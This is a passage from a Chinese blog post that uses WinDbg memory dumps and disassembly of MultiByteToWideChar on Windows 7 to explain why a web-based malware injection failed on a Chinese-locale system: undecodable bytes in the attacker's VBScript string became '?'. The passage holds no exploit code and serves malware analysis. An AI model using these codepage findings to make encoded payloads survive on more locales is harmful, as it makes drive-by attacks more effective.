001d0012  0000 0000 0000 0000 0103 0000 0001 0002
001d0022  0003 0004 0005 0006 0007 0008 0009 000a
001d0032  000b 000c 000d 000e 000f 0010 0011 0012

[Chinese-Simplified]
0:000> dw 7ffa0002 
7ffa0002  03a8 0002 003f 003f 003f 003f fe81 0000
7ffa0012  0000 0000 0000 0000 8003 0000 0001 0002
7ffa0022  0003 0004 0005 0006 0007 0008 0009 000a
7ffa0032  000b 000c 000d 000e 000f 0010 0011 0012

可以看到的是,MaxCharSize 在西欧语系字符集 CodePage 中,MaxCharSize 域的值为 1,而中文字符集 CodePage 对应该域的值是 2。

在函数中访问 HashNode->pCPInfo->wDefaultChar 域之前,还有如下调用:

75f58496 8b4b0c          mov     ecx,dword ptr [ebx+0Ch] ds:0023:001f61a4=7ffb001c
...
75f5849d 894de0          mov     dword ptr [ebp-20h],ecx ss:0023:0019f038=00000104

这两条指令获取 HashNode+0x0C 偏移位置的 DWORD 数据域并赋值给一个局部变量。根据上面的结构体定义可知,该域是当前 HashNode 的 pMBTbl 多字节翻译表。PMB_TABLE 是指向 WORD 类型数组的指针,其定义如下:

typedef  LPWORD        PMB_TABLE;      // ptr to MB translation table

在单字节长度 ANSI 编码的处理流程中,逐字节获取 lpMultiByteStr 参数指向缓冲区的单字节数据,并将字节数值作为索引在 pMBTbl 多字节翻译表中取得对应的 WORD 类型数据,将该数据作为当前多字节字符所对应的 Unicode 编码的宽字符数据,写入 lpWideCharStr 参数指向缓冲区的对应位置。如此循环。

75f584e4 85c0            test    eax,eax
75f584e6 7e56            jle     KERNELBASE!MultiByteToWideChar+0x6d2 (75f5853e) [br=0]
75f584e8 0fb60f          movzx   ecx,byte ptr [edi]         ds:0023:0019f680=81
75f584eb 8b55e0          mov     edx,dword ptr [ebp-20h]    ss:0023:0019f038=7ffb001c
75f584ee 668b0c4a        mov     cx,word ptr [edx+ecx*2]    ds:0023:0006010e=0081
75f584f2                 mov     word ptr [esi],cx
75f584f5                 inc     edi
75f584f6                 inc     esi
75f584f7                 inc     esi
75f584f8                 dec     eax
75f584f9                 jmp     KERNELBASE!MultiByteToWideChar+0x509 (75f584e4)

以上代码中,eax 寄存器存储当前源数据缓冲区剩余未转换多字节字符数据计数,edi 寄存器存储指向源数据缓冲区的循环指针,esi 存储指向目标宽字符缓冲区中待写入地址的指针。ebp-20h 是指向 pMBTbl 表的局部指针变量。

回看前文提到的西欧语系 Unicode 编码映射表数据,可知在西欧语系字符集的 CodePage 中,多字节翻译表包含从 0x00 到 0xFF 的完整数据,所以多字节字符到宽字符转换可以完美执行,不会有数据遗漏或偏差的问题出现。

那么接下来追踪中文字符集环境的执行情况。

在函数中判断 MaxCharSize 域的值是否为 1 时,由于中文字符集 CodePage 规定 ANSI 编码最大字符长度为 2 字节,所以成功进入了多字节长度 ANSI 编码的处理流程。

在多字节长度 ANSI 编码的处理流程中,同样进入针对 lpMultiByteStr 逐字节取值的循环中。此处有一个比较关键的调用:

75f77238 8b4318          mov     eax,dword ptr [ebx+18h] ds:0023:00332558=7ffa0220
75f7723b 85c0            test    eax,eax

根据前文的结构体定义,访问的是 CP_HASH 结构体中的 pDBCSOffsets 数据域。该域是一个指向 WORD 类型数组的指针,相关类型定义如下:

typedef  LPWORD        PDBCS_OFFSETS;  // ptr to DBCS offset section

pDBCSOffsets 域指向了双字节字符集(DBCS)偏移区段数组。通过当前循环到的源数据缓冲区单字节字符数值作为索引,在 pDBCSOffsets 数组中取值。在中文字符集 CodePage 中,pDBCSOffsets 指向内存区域的数据为:

0:000> dw 7ffa0220 l 110
7ffa0220  0000 0000 0000 0000 0000 0000 0000 0000
7ffa0230  0000 0000 0000 0000 0000 0000 0000 0000
7ffa0240  0000 0000 0000 0000 0000 0000 0000 0000
7ffa0250  0000 0000 0000 0000 0000 0000 0000 0000
7ffa0260  0000 0000 0000 0000 0000 0000 0000 0000
7ffa0270  0000 0000 0000 0000 0000 0000 0000 0000
7ffa0280  0000 0000 0000 0000 0000 0000 0000 0000
7ffa0290  0000 0000 0000 0000 0000 0000 0000 0000
7ffa02a0  0000 0000 0000 0000 0000 0000 0000 0000
7ffa02b0  0000 0000 0000 0000 0000 0000 0000 0000
7ffa02c0  0000 0000 0000 0000 0000 0000 0000 0000
7ffa02d0  0000 0000 0000 0000 0000 0000 0000 0000
7ffa02e0  0000 0000 0000 0000 0000 0000 0000 0000
7ffa02f0  0000 0000 0000 0000 0000 0000 0000 0000
7ffa0300  0000 0000 0000 0000 0000 0000 0000 0000
7ffa0310  0000 0000 0000 0000 0000 0000 0000 0000
7ffa0320  0000 0100 0200 0300 0400 0500 0600 0700
7ffa0330  0800 0900 0a00 0b00 0c00 0d00 0e00 0f00
7ffa0340  1000 1100 1200 1300 1400 1500 1600 1700
7ffa0350  1800 1900 1a00 1b00 1c00 1d00 1e00 1f00
7ffa0360  2000 2100 2200 2300 2400 2500 2600 2700
7ffa0370  2800 2900 2a00 2b00 2c00 2d00 2e00 2f00
7ffa0380  3000 3100 3200 3300 3400 3500 3600 3700
7ffa0390  3800 3900 3a00 3b00 3c00 3d00 3e00 3f00
7ffa03a0  4000 4100 4200 4300 4400 4500 4600 4700
7ffa03b0  4800 4900 4a00 4b00 4c00 4d00 4e00 4f00
7ffa03c0  5000 5100 5200 5300 5400 5500 5600 5700
7ffa03d0  5800 5900 5a00 5b00 5c00 5d00 5e00 5f00
7ffa03e0  6000 6100 6200 6300 6400 6500 6600 6700
7ffa03f0  6800 6900 6a00 6b00 6c00 6d00 6e00 6f00
7ffa0400  7000 7100 7200 7300 7400 7500 7600 7700
7ffa0410  7800 7900 7a00 7b00 7c00 7d00 7e00 0000
7ffa0420  003f 003f 003f 003f 003f 003f 003f 003f
7ffa0430  003f 003f 003f 003f 003f 003f 003f 003f

可以看到的是 0x00 到 0x80 范围以及 0xFF 对应的 WORD 数据都是 0x0000,而从 0x81 开始到 0xFE 之间对应的 WORD 都有具体的 Offset 数值。超过 0xFF 范围的数据,对应的 WORD 数值成了 0x3F。更大范围的数据目前不做关注。

言归正传,函数在读取到 pDBCSOffsets 对应索引的 WORD 数值之后,对该数值进行判断。

如果当前循环到的单字节数据为 0xFF 或在 0x00 到 0x80 范围之间,比如当前字节数据为 0x79,那么 pDBCSOffsets 数组中对应的 WORD 数值就是 0x0000。这时函数将忽略该值,转而从 pMBTbl 表中根据索引获取 WORD 数据。这个操作与在单字节长度 ANSI 编码的处理流程中的相同。

75f77243 0fb60f          movzx   ecx,byte ptr [edi]         ds:0023:002dfc98=79
75f77246 0fb70c48        movzx   ecx,word ptr [eax+ecx*2]   ds:0023:7ffa0312=0000
75f7724a 894de4          mov     dword ptr [ebp-1Ch],ecx    ss:0023:002df654=00000000
75f7724d 66837de400      cmp     word ptr [ebp-1Ch],0       ss:0023:002df654=0000
75f77252 7522            jne     KERNELBASE!MultiByteToWideChar+0x685 (75f77276) [br=0]
75f77254 0fb607          movzx   eax,byte ptr [edi]         ds:0023:002dfc98=79
75f77257 8b4de0          mov     ecx,dword ptr [ebp-20h]    ss:0023:002df650=7ffa001c
75f7725a 668b0441        mov     ax,word ptr [ecx+eax*2]    ds:0023:7ffa010e=0079
75f7725e 668906          mov     word ptr [esi],ax          ds:0023:002df97c=0000

以上代码中,edi 寄存器存储指向源数据缓冲区的循环指针,esi 存储指向目标宽字符缓冲区中待写入地址的指针。在第二个 movzx 指令执行时 eax 存储指向 pDBCSOffsets 数组的指针。ebp-20h 是指向 pMBTbl 表的局部指针变量。

中文字符集 CodePage 的 pMBTbl 表的数据如下:

0:000> dw 7ffa001c l 100
7ffa001c  0000 0001 0002 0003 0004 0005 0006 0007
7ffa002c  0008 0009 000a 000b 000c 000d 000e 000f
7ffa003c  0010 0011 0012 0013 0014 0015 0016 0017
7ffa004c  0018 0019 001a 001b 001c 001d 001e 001f
7ffa005c  0020 0021 0022 0023 0024 0025 0026 0027
7ffa006c  0028 0029 002a 002b 002c 002d 002e 002f
7ffa007c  0030 0031 0032 0033 0034 0035 0036 0037
7ffa008c  0038 0039 003a 003b 003c 003d 003e 003f
7ffa009c  0040 0041 0042 0043 0044 0045 0046 0047
7ffa00ac  0048 0049 004a 004b 004c 004d 004e 004f
7ffa00bc  0050 0051 0052 0053 0054 0055 0056 0057
7ffa00cc  0058 0059 005a 005b 005c 005d 005e 005f
7ffa00dc  0060 0061 0062 0063 0064 0065 0066 0067
7ffa00ec  0068 0069 006a 006b 006c 006d 006e 006f
7ffa00fc  0070 0071 0072 0073 0074 0075 0076 0077
7ffa010c  0078 0079 007a 007b 007c 007d 007e 007f
7ffa011c  20ac 0000 0000 0000 0000 0000 0000 0000
7ffa012c  0000 0000 0000 0000 0000 0000 0000 0000
7ffa013c  0000 0000 0000 0000 0000 0000 0000 0000
7ffa014c  0000 0000 0000 0000 0000 0000 0000 0000
7ffa015c  0000 0000 0000 0000 0000 0000 0000 0000
7ffa016c  0000 0000 0000 0000 0000 0000 0000 0000
7ffa017c  0000 0000 0000 0000 0000 0000 0000 0000
7ffa018c  0000 0000 0000 0000 0000 0000 0000 0000
7ffa019c  0000 0000 0000 0000 0000 0000 0000 0000
7ffa01ac  0000 0000 0000 0000 0000 0000 0000 0000
7ffa01bc  0000 0000 0000 0000 0000 0000 0000 0000
7ffa01cc  0000 0000 0000 0000 0000 0000 0000 0000
7ffa01dc  0000 0000 0000 0000 0000 0000 0000 0000
7ffa01ec  0000 0000 0000 0000 0000 0000 0000 0000
7ffa01fc  0000 0000 0000 0000 0000 0000 0000 0000
7ffa020c  0000 0000 0000 0000 0000 0000 0000 f8f5

与西欧语系字符集 CodePage 中多字节翻译表中的数据不同的是,中文 pMBTbl 表中的数据,0x81 到 0xFE 之间的索引对应的 WORD 数值为 0x0000,这与当前 CodePage 的 pDBCSOffsets 表数据填充情况正好相反。

如果当前循环到的字节数据在 0x81 到 0xFF 之间,那么 pDBCSOffsets 数组中可以取得对应的 WORD 数值。此时函数认定该单字节数据属于某个“用 2 字节表示 1 个字符”的 ANSI 编码多字节字符的低位,那么接下来会尝试获取其高位的数据。函数会判断当前指向源数据缓冲区的循环指针(通过该指针变量从首字节开始逐字节指向每一个字节地址进行遍历)指向地址的下一个字节地址是否到达当前缓冲区末尾;如果未到末尾则判断下一个字节字符数据是否为 0x00。

如果下一个字节地址到达缓冲区末尾,或者下一个字节字符数据为 0x00,说明未能成功获取到这个“用 2 字节表示 1 个字符”的 ANSI 编码字符的高位,那么函数认定该 ANSI 编码多字节字符数据非法,通过 HashNode->pCPInfo->wUniDefaultChar 的值将当前多字节字符数据转换后的目标字符设为默认 Unicode 字符数据。

75f77276 8d4f01          lea     ecx,[edi+1]
75f77279 3b4de8          cmp     ecx,dword ptr [ebp-18h]    ss:0023:002df658=002dfc90
75f7727c 0f841a160000    je      KERNELBASE!MultiByteToWideChar+0x6a8 (75f7889c) [br=0]
75f77282 8a09            mov     cl,byte ptr [ecx]          ds:0023:002dfb8d=00
75f77284 84c9            test    cl,cl
75f77286 0f8410160000    je      KERNELBASE!MultiByteToWideChar+0x6a8 (75f7889c) [br=1]
...
75f7889c 8b4308          mov     eax,dword ptr [ebx+8]      ds:0023:00332548=7ffa0002
75f7889f 668b4006        mov     ax,word ptr [eax+6]        ds:0023:7ffa0008=003f
75f788a3 e9b6e9ffff      jmp     KERNELBASE!MultiByteToWideChar+0x6bb (75f7725e)
...
75f7725e 668906          mov     word ptr [esi],ax          ds:0023:002df76c=0000

以上代码中,edi 寄存器存储指向源数据缓冲区的循环指针,esi 存储指向目标宽字符缓冲区中待写入地址的指针。ebp-18h 是指向源数据缓冲区末尾的局部指针变量。

根据前面的定义,中文字符集 CodePage 的 HashNode->pCPInfo->wUniDefaultChar 的值是 0x003F,这就导致了非法的 ANSI 编码字符转换成 Unicode 编码之后,都变成了可疑的 "?"。

0x5 总结

对这次挂马失败的实例分析到这里就结束了。在本文中针对 MultiByteToWideChar 进行了比较浅显的解析。其实这个函数内部包含了更丰富的处理逻辑,通过 dwFlags 可以进行更详细的控制,但在这里没有涉及到这些判断和逻辑,所以也就没有提到了。同时没有提到的还有正确的 GBK 编码多字节字符的转换逻辑,读者可以自行去探索。

VBScript 对 String 类型变量使用 Unicode 形式存储。在内部类型转换时用 MultiByteToWideChar 函数进行由多字节文本向宽字符文本的转换操作。在 MultiByteToWideChar 函数中以当前操作系统设定字符集的 CodePage 为依据,并根据传入的源数据参数指向缓冲区数据和当前 CodePage 的多字节翻译表等数据区块对目标数据进行编码翻译转换。

由于西欧语系字符集 CodePage 自身的特性,任意单字节数值都有对应的 Unicode 映射数值,转换时不会对数据本身造成缺失或误差;不同区域语言字符集的不同特性,导致了在中英文等不同字符集版本的操作系统环境中执行相同代码时,产生不同结果的问题。这应该也是挂马者没有考虑到的。

0x6 备注

本文中所有执行和调试环境都是 Windows 7 SP1 操作系统。

没有回答

评论:

版权所有 © 2010-2016 小刀志 · 本站基于 WordPress 构建 · 原创内容转载请取得作者同意和授权